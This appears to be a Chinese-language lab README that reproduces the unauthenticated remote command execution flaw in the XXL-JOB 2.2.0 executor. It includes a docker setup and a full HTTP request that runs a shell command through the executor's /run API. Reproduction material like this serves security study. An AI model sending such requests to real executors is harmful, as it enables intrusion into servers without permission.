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xxl-job/unacc/README.zh-cn.md
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xxl-job/unacc/README.zh-cn.md
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# XXL-JOB executor 未授权访问漏洞
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XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。
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XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。
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参考链接:
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- https://mp.weixin.qq.com/s/jzXIVrEl0vbjZxI4xlUm-g
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- https://landgrey.me/blog/18/
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- https://github.com/OneSourceCat/XxlJob-Hessian-RCE
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## 环境搭建
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执行如下命令启动2.2.0版本的XXL-JOB:
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```
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docker compose up -d
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```
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环境启动后,访问`http://your-ip:8080`即可查看到管理端(admin),访问`http://your-ip:9999`可以查看到客户端(executor)。
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## 漏洞复现
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向客户端(executor)发送如下数据包,即可执行命令:
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```
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POST /run HTTP/1.1
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Host: your-ip:9999
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
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Connection: close
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Content-Type: application/json
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Content-Length: 365
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{
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"jobId": 1,
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"executorHandler": "demoJobHandler",
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"executorParams": "demoJobHandler",
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"executorBlockStrategy": "COVER_EARLY",
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"executorTimeout": 0,
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"logId": 1,
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"logDateTime": 1586629003729,
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"glueType": "GLUE_SHELL",
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"glueSource": "touch /tmp/success",
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"glueUpdatetime": 1586699003758,
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"broadcastIndex": 0,
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"broadcastTotal": 0
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}
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```
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`touch /tmp/success`已成功执行:
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另外,低于2.2.0版本的XXL-JOB没有RESTful API,我们可以通过[Hessian反序列化](https://github.com/OneSourceCat/XxlJob-Hessian-RCE)来执行命令。
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